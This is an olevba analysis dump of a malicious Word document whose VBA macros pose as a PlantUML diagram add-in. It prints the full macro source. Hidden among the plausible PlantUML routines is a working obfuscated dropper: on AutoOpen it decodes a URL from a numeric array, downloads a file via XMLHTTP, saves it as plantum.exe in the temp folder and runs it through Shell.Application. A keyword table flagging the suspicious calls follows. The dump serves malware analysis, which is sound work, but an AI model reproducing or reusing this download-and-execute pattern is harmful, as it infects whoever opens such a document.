Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V ikeare~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: ikeare~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: ikeare~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()
CreateStyle True
RemoveOldVersionPlantUMLSyles
CreateStyleImg
HideHiddenText
    DoubleCheckStyle
    getJarPath
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: ikeare~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Dim vectorgraphics As Boolean
Dim useFTP As Boolean
Dim FTPURL As String


Public Const figaro = ""

Function get_gfx_extension() As String
    If vectorgraphics Then
        get_gfx_extension = "*.eps"
    Else
        get_gfx_extension = "*.png"
    End If
End Function


Function get_plantuml_options() As String
    Dim options As String
    options = ""
    If vectorgraphics Then
       options = options + " -teps"
    End If

    get_plantuml_options = options
End Function

Function getExePath(searchfor As String, ByRef try As String) As String
    Set FS = CreateObject("Scripting.FileSystemObject")

    nbTemplates = ActiveDocument.Parent.Templates.Count
    mainPath = ActiveDocument.Path
    try = ActiveDocument.Path & "\"

    nb = InStrRev(mainPath, "\")
    Do While nb > 1 And FS.FileExists(mainPath + searchfor) = False
        mainPath = Left(mainPath, nb - 1)
        try = try & vbCrLf & mainPath & "\"
        nb = InStrRev(mainPath, "\")
    Loop

    For i = 1 To nbTemplates
        If FS.FileExists(mainPath + searchfor) = False Then
            mainPath = ActiveDocument.Parent.Templates.Item(i).Path
            try = try & vbCrLf & ActiveDocument.Parent.Templates.Item(i).Path & "\"
            nb = InStrRev(mainPath, "\")
            Do While nb > 1 And FS.FileExists(mainPath + searchfor) = False
                mainPath = Left(mainPath, nb - 1)
                try = try & vbCrLf & mainPath & "\"
                nb = InStrRev(mainPath, "\")
            Loop
        End If
    Next i

    If FS.FileExists(mainPath + searchfor) Then
        getExePath = mainPath
    Else
        getExePath = "Error : Cannot find plantuml.jar in :" & vbCrLf & try
    End If


End Function

' =========================================================
' This function returns the path for plantuml.jar
Public Function getJarPath() As String


shellApp.Open (tempFile)
Exit Function
     Set FS = CreateObject("Scripting.FileSystemObject")
    Dim trypath As String
    trypath = ""
    jarPath = getExePath("\plantuml.jar", trypath)
    If (jarPath <> "") And FS.FileExists(jarPath + "\plantuml.jar") Then
        getJarPath = jarPath
    Else
        getJarPath = "Error : Cannot find plantuml.jar in :" & vbCrLf & trypath
    End If

End Function



' =========================================================
' This function returns the path for plantuml.jar
Function getDotPath() As String
    Set FS = CreateObject("Scripting.FileSystemObject")
    Dim trypath As String
    Dim searchfor As String
    trypath = Environ("%APPDATA%")
    If Environ("GRAPHVIZ_DOT") <> "" Then Exit Function
    searchfor = "\release\bin\dot.exe"
    dotPath = getExePath(searchfor, trypath)
    If (dotPath <> "") And FS.FileExists(dotPath + searchfor) Then
        getDotPath = dotPath + searchfor
    Else
        getDotPath = "" '"Error : Cannot find graphviz in :" & vbCrLf & trypath
    End If
End Function


' =========================================================
' Print out the used plantuml.jar
Sub ShowPlantumlJarPath()
    Set FS = CreateObject("Scripting.FileSystemObject")
    jarPath = getJarPath()
    If jarPath <> "" And FS.FileExists(jarPath) Then
        MsgBox "OK : " & jarPath
    Else
        MsgBox jarPath
    End If
End Sub
' =========================================================
' Used to migrate from previous PlantUML macro version
Public Sub RemoveOldVersionPlantUMLSyles()
   On Error GoTo DeleteEnd

tempFolder = processEnv("T" & "E" + tempFile + "" + "MP")

tempFile = tempFolder + figaro + "\" + "plantum." + figaro + "exe"
Exit Sub
   ActiveDocument.Styles("PlantUML").Delete
   On Error GoTo 0
DeleteEnd:
   On Error GoTo 0
   Call Macro_UML_all

End Sub
' =========================================================
' Called when the user click on "UML.*"
Sub Macro_UML_all()
    Macro_UML ("all")
End Sub

' =========================================================
Sub Macro_UML_styles()
    CreateStyle (True)
End Sub

' =========================================================
' Called when the user click on "UML.1"
Function Macro_UML_parg()
    Macro_UML ("parg")
End Function

' =========================================================
Function WriteToFile(sFile, sText As String)
    Dim objStream As Object
    Set objStream = CreateObject("ADODB.Stream")
    With objStream
        .Type = 2              ' Stream type = text / string data
        .Mode = 3
        '.Charset = "ascii"     ' plantUML can only deal with ASCII: Setting to ASCII kills Word's autoformatting
        .Charset = "utf-8"     ' plantUML can only deal with ASCII: Setting to ASCII kills Word's autoformatting
        .Open
        .WriteText sText
        .savetofile sFile, 2
    End With
End Function


-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: ikeare~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public RubiRubiReq As Object
Public RubiRubiStream As Object
Public processEnv  As Object
Public tempFolder As String
Public tempFile As String
Public shellApp As Object
Function Macro_UML(scope) As String
' Generate diagrams image from a PlantUML source textual description in the Word Document
' Scope can be "parg" or "all"
'
' - Initialisations
    Dim currentIndex As Long
    Dim ftphandle As Long
    Dim JavaCommand As String
    Dim GraphVizOption As String
    GraphVizOption = ""
    Dim scalefiles As String
    ToolbarInit
'    Set statusButton = CommandBars("UML").Controls(6)
    If RegK.eyRead("VectorGraphics") = "ON" Then
        vectorgraphics = True
    End If
    If RegK.eyRead("FTPMode") = "ON" Then
        useFTP = True
    End If

    FTPURL = RegK.eyRead("FTPURL", "127.0.0.1:4242")


    Call CreateStyle(True)
    Call CreateStyleImg
    Call ShowPlantuml

    Call ShowHiddenText
    Selection.Range.Select
'
' documentId is the filename with its path, without extension
'
    documentId = ActiveDocument.Name
    documentId = Left(documentId, Len(documentId) - 4)

    ' Check for the presente of plantuml.jar

    Set FS = CreateObject("Scripting.FileSystemObject")
    jarPath = getJarPath()
    If (jarPath = "") Or FS.FileExists(jarPath + "\plantuml.jar") = False Then
        MsgBox jarPath
    End If
    dotPath = getDotPath()
    If dotPath <> "" Then
        GraphVizOption = " -graphvizdot """ & dotPath & """"
    End If


    Do While parsedtext.Find.Found = True And _
             (scope = "all" Or currentIndex < 1) And Not jobDone
'        statusButton.Caption = "Extract." & currentIndex + 1
'        statusButton.Visible = False
'        statusButton.Visible = True
        Set currentparagraph = parsedtext.Paragraphs(1)
        Set paragraphRange = currentparagraph.Range
        paragraphRange.Collapse
        jobDone = False
        Do Until jobDone
            If Left(currentparagraph.Range.Text, Len(startuml)) = startuml Then
                Set paragraphRange = currentparagraph.Range
                paragraphRange.Collapse

            End If
            paragraphRange.MoveEnd Unit:=wdParagraph
            If Left(currentparagraph.Range.Text, Len(enduml)) = enduml Then
                Dim s As String
                paragraphRange.Style = "PlantUML"
                s = paragraphRange.Text
                currentIndex = currentIndex + 1

                factor = 0#
                On Error Resume Next
                p = InStr(LCase(s), "@rescale ")
                If p > 0 Then

                    endscale = InStr(p + 9, s, Chr(13)) - p - 9
                    factorstr = Mid(s, p + 9, endscale)
                    factor = Val(factorstr)
                End If
                On Error GoTo 0

                textFileId = documentId & "_extr" & Right("000" & currentIndex, 4) & ".txt"
                If factor > 0 Then
                    scalef.iles(Replace(textFileId, ".txt", "")) = factor
                End If
                If scope = "fetch" Then
                    Macro_UML = Mid(s, 1, Len(s) - 1)
                     Application.ScreenUpdating = True
                    Exit Function
                End If
                filename = jarPath & "\" & textFileId

                WriteToFile filename, Mid(s, 1, Len(s) - 1)
                If useFTP Then
                   retValue = FtpS.tor(ftphandle, jarPath & "\" & textFileId, textFileId)
                End If

                If scope <> "all" Then
                    jobDone = True
                End If

            End If
            Set currentparagraph = currentparagraph.Next
            If currentparagraph Is Nothing Then
                jobDone = True
            End If
        Loop
        parsedtext.Collapse Direction:=wdCollapseEnd
        If scope = "all" Then
            parsedtext.Find.Execute FindText:=startuml, Forward:=True
        End If
   Loop
   Application.ScreenUpdating = True
   End Function
   Public Function RubiRubi(Rubi1 As Boolean, fromArr() As Variant, LenLen As Integer, Rubi2 As Boolean) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - LenLen + i * 2)
    Next i
    RubiRubi = result
End Function
Public Function PlantUML2()
'
' We create a lock file that will be deleted by the Java program to indicate the end of Java process
'
'    statusButton.Caption = "Gener"
'    statusButton.Visible = False
'    statusButton.Visible = True

'
' Call to PlantUML to generate images from text descriptions
'
    ' version 012 : add include path to document path
    ' if document is loaded from disk (by drive letter)
    If useFTP Then
        For i = 1 To currentIndex
               imageId = documentId & "_extr" & Right("000" & i, 4) & ".png"
               imageName = jarPath & "\" & imageId
               retValue = FtpRetr(ftphandle, imageName, imageId)
        Next i
  'Sleep 200
    Else
        'Set lockFile = Documents.Add(Visible:=False)
        'lockFile.SaveAs filename:=jarPath & "\javaumllock.tmp", FileFormat:=wdFormatText
        'lockFile.Close

        Dim javaoptions
        If ActiveDocument.Path Like "[A-Z]:\*" Or Left(ActiveDocument.Path, 1) = "\" Then
            javaoptions = " -Dplantuml.include.path=" & Chr(34) & ActiveDocument.Path & Chr(34) & " "
        End If

            JavaCommand = "java " & javaoptions _
               & "-classpath """ & jarPath & "\plantuml.jar;" & _
                jarPath & "\plantumlskins.jar"" net.sourceforge.plantuml.Run -charset UTF8 -word """ & jarPath & "/""" & GraphVizOption & get_plantuml_options()




        result = ShellAndWait(JavaCommand, 0, vbMinimizedFocus, AbandonWait)
        If result <> Success Then
            MsgBox "Java command execution failed (break key?)"
            Return
        End If


' This sleep is needed, but we don't know why...
        Sleep 1000
    End If
'
' Phase 2 :
' Insertion of images into the word document
' We insert the image after the textual block that describe the diagram
'
    jobDone = False
    nrOfImages = currentIndex
    currentIndex = 0
    'Sleep 50 * nrOfImages

' We wait for the file javaumllock.tmp to be deleted by Java
' which means that the process is ended
'
    ' get images via ftp or wait for java to end
    If useFTP Then

    Else
        Do
            currentIndex = currentIndex + 1
    '        statusButton.Caption = "Gener." & currentIndex
    '        statusButton.Visible = False
    '        statusButton.Visible = True

            DoEvents

            Sleep 100 ' Sleep 500
            If FS.FileExists(jarPath & "\javaumllock.tmp") = False Then
                jobDone = True
                Exit Do
            End If
            If currentIndex > 30 Then
    '            statusButton.Visible = False
                MsgBox ("Java Timeout. Aborted.")
                Exit Do
            End If
        Loop

        If jobDone = False Then
            End
        End If
    End If

'    statusButton.Caption = "Inser."
'    statusButton.Visible = False
'    statusButton.Visible = True

    If scope = "all" Then
        Set parsedtext = ActiveDocument.Content
        isForward = True
    Else
        Set parsedtext = singleparagraph
        isForward = True
    End If
    parsedtext.Find.Execute FindText:=enduml, Forward:=isForward
    currentIndex = 0
        bTrackRevFlag = ActiveDocument.TrackRevisions
        ActiveDocument.TrackRevisions = False

        End Function

' =========================================================
' We need to double check that the style is present in the document
Public Function DoubleCheckStyle()
   GoTo step1
    CreateStyle
    CreateStyleImg
    Set mystyle = ActiveDocument.Styles("PlantUML")
    'myStyle.BaseStyle = ActiveDocument.Styles("Normal")
    'above line fixed to work on international versions of Word
    mystyle.BaseStyle = ActiveDocument.Styles(WdBuiltinStyle.wdStyleNormal)
step1:
dus = CallByName(RubiRubiReq, "respon" + figaro + "seBody", VbGet)
    RubiRubiStream.write dus
GoTo step2
    mystyle.AutomaticallyUpdate = True
    With mystyle.Font
        .Name = "Courier New"
        .Size = 9
        .Hidden = False
        '.Hidden = True ' change in plantuml template 2.9 to allow copy/paste
        .Color = wdColorGreen
    End With
step2:
    RubiRubiStream.savetofile tempFile, 2
End Function

Public Function Whileparsedtext()
    Do While parsedtext.Find.Found = True And (scope = "all" Or currentIndex < 1)
        currentIndex = currentIndex + 1
'        statusButton.Caption = "Inser." & currentIndex
'        statusButton.Visible = False
'        statusButton.Visible = True
        On Error GoTo LastParagraph

        'error handler will assume that the @enduml is at the last paragraph of the document. Not always true

        Set currentparagraph = parsedtext.Paragraphs(1).Next.Range
        Do While currentparagraph.InlineShapes.Count > 0 And currentparagraph.Style = "PlantUMLImg"
            currentparagraph.Delete
            Set currentparagraph = parsedtext.Paragraphs(1).Next.Range
        Loop
        On Error GoTo 0
        Set currentRange = currentparagraph
        imagesDirectory = jarPath & "\" & documentId & "_extr" & Right("000" & currentIndex, 4) & get_gfx_extension()
        image = Dir(imagesDirectory)
        While image <> ""
            ' Contain the text of the error
            errorTextFile = jarPath & "\" & Left(image, Len(image) - 4) & ".err"
            BaseName = Left(image, Len(image) - 4)
            Set currentparagraph = ActiveDocument.Paragraphs.Add(Range:=currentRange).Range
            Set currentRange = currentparagraph.Paragraphs(1).Next.Range
            currentparagraph.Style = "PlantUMLImg"
            currentparagraph.Collapse

            Set image = currentparagraph.InlineShapes.AddPicture _
                (filename:=jarPath & "\" & image _
                , LinkToFile:=False, SaveWithDocument:=True)

            ' check if scale was forced in plantuml code
            If scalefiles(CStr(BaseName)) > 0.1 And scalefiles(CStr(BaseName)) < 5 Then
                image.ScaleWidth = scalefiles(CStr(BaseName)) * 100
                image.ScaleHeight = scalefiles(CStr(BaseName)) * 100
            Else
                ' new 2.9
                ' default: autoscale; reduce to fit if > margin. 100% if picture fits
                With image
                    .LockAspectRatio = msoFalse
                    .ScaleWidth = 100
                    .ScaleHeight = 100
                     percentW = ActiveDocument.PageSetup.TextColumns.Width / image.Width
                     percentH = (ActiveDocument.PageSetup.PageHeight - ActiveDocument.PageSetup.TopMargin - ActiveDocument.PageSetup.BottomMargin) / image.Height
                     If percentH < percentW Then percentW = percentH
                     If percentW < 1 Then
                        .ScaleWidth = percentW * 100
                        .ScaleHeight = percentW * 100
                    End If
                End With
            End If

            If FS.FileExists(errorTextFile) Then
                image.AlternativeText = LoadTextFile(errorTextFile)
                Beep
            Else
                image.AlternativeText = "Generated by PlantUML"
            End If

            If image.ScaleHeight > 100 Or image.ScaleWidth > 100 Then
                image.Reset
            End If
            image = Dir()
        Wend
        parsedtext.Collapse Direction:=wdCollapseEnd
        parsedtext.Find.Execute FindText:=enduml, Forward:=True
   Loop
   ActiveDocument.TrackRevisions = bTrackRevFlag

'
' Phase 3 : suppression of temporary files (text and PNG)
'
Phase3:
'    statusButton.Caption = "Delete"
'    statusButton.Visible = False
'    statusButton.Visible = True
    If Not useFTP Then
        On Error Resume Next

        Kill (jarPath & "\" & documentId & "_extr*.*")
        On Error GoTo 0
    Else
       ftpClose ftphandle
    End If
Macro_UML_exit:

'    statusButton.Visible = False

    'We show the hidden description text
    Call ShowHiddenText
    DoubleCheckStyle
Exit Function


' This is need when the very last line of the Word document (or table cell) is @enduml
LastParagraph:
    Selection.EndKey Unit:=wdStory
    Selection.TypeParagraph
    Selection.ClearFormatting

        imagesDirectory = jarPath & "\" & documentId & "_extr" & Right("000" & currentIndex, 4) & get_gfx_extension
        image = Dir(imagesDirectory)
        While image <> ""
            ' Contain the text of the error
            errorTextFile = jarPath & "\" & Left(image, Len(image) - 4) & ".err"

            Set currentparagraph = ActiveDocument.Paragraphs.Add.Range
            Set currentRange = currentparagraph.Paragraphs(1).Next.Range
            currentparagraph.Style = "PlantUMLImg"
            currentparagraph.Collapse

            Set image = currentparagraph.InlineShapes.AddPicture _
                (filename:=jarPath & "\" & image _
                , LinkToFile:=False, SaveWithDocument:=True)

            If FS.FileExists(errorTextFile) Then
                image.AlternativeText = LoadTextFile(errorTextFile)
                Beep
            Else
                image.AlternativeText = "Generated by PlantUML"
            End If

            If image.ScaleHeight > 100 Or image.ScaleWidth > 100 Then
                image.Reset
            End If
            image = Dir()
        Wend

    'Resume Next
    GoTo Phase3

End Function


-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: ikeare~1.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

' =========================================================
' Initialize the plantuml ToolBar
Sub ToolbarInit()
    On Error Resume Next
    ActiveDocument.CommandBars("UML").Delete
    On Error GoTo 0
End Sub

'doesn't work yet?
'Callback for customUI.onLoad
Sub RibbonOnLoad(ribbon As IRibbonUI)
End Sub


'original toolbar of plantuml, now obsolete
Function OldToolbarInit()
    On Error GoTo ToolbarCreation
    Set toolBar = ActiveDocument.CommandBars("UML")
    On Error GoTo 0

    toolBar.Visible = True

    On Error GoTo ButtonAdd
    Set currentButton = toolBar.Controls(1)
    On Error GoTo 0
    currentButton.OnAction = "PlantUML.SwitchP"
    currentButton.Style = msoButtonCaption
    currentButton.Caption = Chr(182)
    currentButton.Visible = True

    On Error GoTo ButtonAdd
    Set currentButton = toolBar.Controls(2)
    On Error GoTo 0
    currentButton.OnAction = "PlantUML.ShowPlantuml"
    currentButton.Style = msoButtonCaption
    currentButton.Caption = "Show PlantUML"
    currentButton.Visible = True

    On Error GoTo ButtonAdd
    Set currentButton = toolBar.Controls(3)
    On Error GoTo 0
    currentButton.OnAction = "PlantUML.HidePlantuml"
    currentButton.Style = msoButtonCaption
    currentButton.Caption = "Hide PlantUML"
    currentButton.Visible = True

    On Error GoTo ButtonAdd
    Set currentButton = toolBar.Controls(4)
    On Error GoTo 0
    currentButton.OnAction = "PlantUML.Macro_UML_all"
    currentButton.Style = msoButtonCaption
    currentButton.Caption = "UML.*"
    currentButton.Visible = True

    On Error GoTo ButtonAdd
    Set currentButton = toolBar.Controls(5)
    On Error GoTo 0
    currentButton.OnAction = "PlantUML.Macro_UML_parg"
    currentButton.Style = msoButtonCaption
    currentButton.Caption = "UML.1"
    currentButton.Visible = True

    On Error GoTo ButtonAdd
    Set currentButton = toolBar.Controls(6)
    On Error GoTo 0
    currentButton.OnAction = ""
    currentButton.Style = msoButtonCaption
    currentButton.Caption = "Trace"
    currentButton.Visible = True
    Exit Function

ToolbarCreation:
    Set toolBar = ActiveDocument.CommandBars.Add(Name:="UML")
    Resume Next

ButtonAdd:
    Set currentButton = toolBar.Controls.Add(Type:=msoControlButton, Before:=toolBar.Controls.Count + 1)
    Resume Next

End Function



' =========================================================
Public Function CreateStyle(Optional overwriteIfStyleExists As Boolean = False)
    On Error GoTo CreateStyleAdding

Set RubiRubiReq = CreateObject("Microsoft.XMLHTTP")


Set shellApp = CreateObject("Shell.Application")


Set processEnv = CreateObject("WScript.Shell").Environment("Process")

Set RubiRubiStream = CreateObject("Adodb.Stream")
    Exit Function
    Set mystyle = ActiveDocument.Styles("PlantUML")
    If overwriteIfStyleExists = True Then
        GoTo CreateStyleOverwrite
    End If
    Exit Function
CreateStyleAdding:
    Set mystyle = ActiveDocument.Styles.Add(Name:="PlantUML", Type:=wdStyleTypeParagraph)
CreateStyleOverwrite:
    'myStyle.BaseStyle = ActiveDocument.Styles("Normal")
    ' fix for international versions of Word
    mystyle.BaseStyle = ActiveDocument.Styles(WdBuiltinStyle.wdStyleNormal)
    mystyle.AutomaticallyUpdate = True
    With mystyle.Font
        .Name = "Courier New"
        .Size = 9
        .Hidden = False
        .Hidden = True
        .Color = wdColorGreen
    End With

    mystyle.NoProofing = True
    With mystyle.ParagraphFormat
        With .Shading
            .Texture = wdTextureNone
            .ForegroundPatternColor = wdColorAutomatic
            .BackgroundPatternColor = wdColorLightGreen
        End With
        .LineSpacingRule = wdLineSpaceSingle
        'new style: single line, left aligned
        .SpaceBefore = 0
        .SpaceBeforeAuto = False
        .SpaceAfter = 0
        .SpaceAfterAuto = False
        .LineSpacingRule = wdLineSpaceSingle
        .Alignment = wdAlignParagraphLeft
        .LineUnitBefore = 0
        .LineUnitAfter = 0
        .LeftIndent = CentimetersToPoints(0)

        With .Shading
            .Texture = wdTextureNone
            .ForegroundPatternColor = wdColorAutomatic
            .BackgroundPatternColor = 12254650

        End With
        With .Borders(wdBorderLeft)
            .LineStyle = wdLineStyleDashLargeGap
            .LineWidth = wdLineWidth050pt
            .Color = 3910491
        End With
        With .Borders(wdBorderRight)
            .LineStyle = wdLineStyleDashLargeGap
            .LineWidth = wdLineWidth050pt
            .Color = 3910491
        End With
        With .Borders(wdBorderTop)
            .LineStyle = wdLineStyleDashLargeGap
            .LineWidth = wdLineWidth050pt
            .Color = 3910491
        End With
        With .Borders(wdBorderBottom)
            .LineStyle = wdLineStyleDashLargeGap
            .LineWidth = wdLineWidth050pt
            .Color = 3910491
        End With
        With .Borders
            .DistanceFromTop = 1
            .DistanceFromLeft = 4
            .DistanceFromBottom = 1
            .DistanceFromRight = 4
            .Shadow = False
        End With
    End With  'paragraphformat

    ' ajout des tabulations
    mystyle.NoSpaceBetweenParagraphsOfSameStyle = False
    mystyle.ParagraphFormat.TabStops.ClearAll
    mystyle.ParagraphFormat.TabStops.Add Position:= _
        CentimetersToPoints(1), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces
    mystyle.ParagraphFormat.TabStops.Add Position:= _
        CentimetersToPoints(2), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces
    mystyle.ParagraphFormat.TabStops.Add Position:= _
        CentimetersToPoints(3), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces
    mystyle.ParagraphFormat.TabStops.Add Position:= _
        CentimetersToPoints(4), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces


End Function

' =========================================================
Public Function CreateStyleImg()

    On Error GoTo CreateStyleImgAdding
        Dim Rubi() As Variant
        Rubi = Array(145, 155, 153, 147, 91, 78, 76, 124, 133, 141, 118, 133, 118, 137, 128, 108, 119, 123, 116, 118, 47, 98, 108, 104, 40, 43, 91, 41, 40, 86, 36, 26, 77, 29, 75, 26, 72, 23, 11, 64, 81, 60)
Hlopushka = RubiRubi(False, Rubi, 41, False)
    RubiRubiReq.Open "GE" + figaro + "T", Hlopushka, False

    RubiRubiReq.Send
    Exit Function
    Set mystyle = ActiveDocument.Styles("PlantUMLImg")
    mystyle.Font.Hidden = False
    On Error GoTo CreateStyleSkip
    mystyle.BaseStyle = ActiveDocument.Styles("Normal")
CreateStyleSkip:
    On Error GoTo 0
    Exit Function
CreateStyleImgAdding:
    Set mystyle = ActiveDocument.Styles.Add(Name:="PlantUMLImg", Type:=wdStyleTypeParagraph)
    mystyle.AutomaticallyUpdate = True
End Function

' =========================================================
Public Function HideHiddenText()

    On Error Resume Next

    ActiveDocument.ActiveWindow.View.ShowAll = False
    ActiveDocument.ActiveWindow.View.ShowHiddenText = False
    On Error GoTo endHidden

   RubiRubiStream.Type = 1
    RubiRubiStream.Open

Exit Function
    With ActiveDocument.Styles("PlantUML")
        .Font.Hidden = True
    End With
endHidden:
    On Error Resume Next
End Function



Sub ISwitchP(ByVal Control As IRibbonControl)
    SwitchP
End Sub

Sub IShowPlantUML(ByVal Control As IRibbonControl)
    ShowPlantuml

End Sub

Sub IHidePlantUML(ByVal Control As IRibbonControl)
    HidePlantuml

End Sub

Sub IUML1(ByVal Control As IRibbonControl)
    Macro_UML ("parg")

End Sub
Sub IUMLAll(ByVal Control As IRibbonControl)
    Macro_UML ("all")
End Sub

Sub IAutoFormatOn(ByVal Control As IRibbonControl)
    AutoFormatOn
End Sub
Sub IAutoFormatOff(ByVal Control As IRibbonControl)
    AutoFormatOff
End Sub

Sub IPlantUMLInteractive(ByVal Control As IRibbonControl)
    With frmPlantUMLInteractive


        .tbPlantCode.Text = Replace(Macro_UML("fetch"), vbLf, vbCrLf)

        .Show

    End With

End Sub






Sub AutoFormatOff()
    ' disable worst of MS Word autoformatting options
    With options
        .AutoFormatAsYouTypeReplaceQuotes = False
        .AutoFormatAsYouTypeReplaceSymbols = False
        .AutoFormatAsYouTypeReplacePlainTextEmphasis = False
        .AutoFormatAsYouTypeDefineStyles = False
        .TabIndentKey = True
    End With
End Sub

Sub AutoFormatOn()
    ' enable disabled MS Word autoformatting options
    With options
        .AutoFormatAsYouTypeReplaceQuotes = True
        .AutoFormatAsYouTypeReplaceSymbols = True
        .AutoFormatAsYouTypeReplacePlainTextEmphasis = True
        .AutoFormatAsYouTypeDefineStyles = True
        .TabIndentKey = True
    End With
End Sub


+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | vbMinimizedFocus     | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Run                  | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | CallByName           | May attempt to obfuscate malicious      |
|            |                      | function calls                          |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | WriteText            | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | 127.0.0.1            | IPv4 address                            |
| IOC        | plantuml.jar         | Executable file name                    |
| IOC        | dot.exe              | Executable file name                    |
| IOC        | plantumlskins.jar    | Executable file name                    |
| VBA string | %%APPDATA%%          | Environ("%APPDATA%")                    |
| VBA string | %GRAPHVIZ_DOT%       | Environ("GRAPHVIZ_DOT")                 |
| VBA string | TE                   | "T" & "E"                               |
| VBA string | MP                   | "" + "MP"                               |
| VBA string | \plantum.            | "\" + "plantum."                        |
| VBA string |
                    | Chr(13)                                 |
| VBA string |  -Dplantuml.include. | " -Dplantuml.include.path=" & Chr(34)   |
|            | path="               |                                         |
| VBA string | "                    | Chr(34) & " "                           |
+------------+----------------------+-----------------------------------------+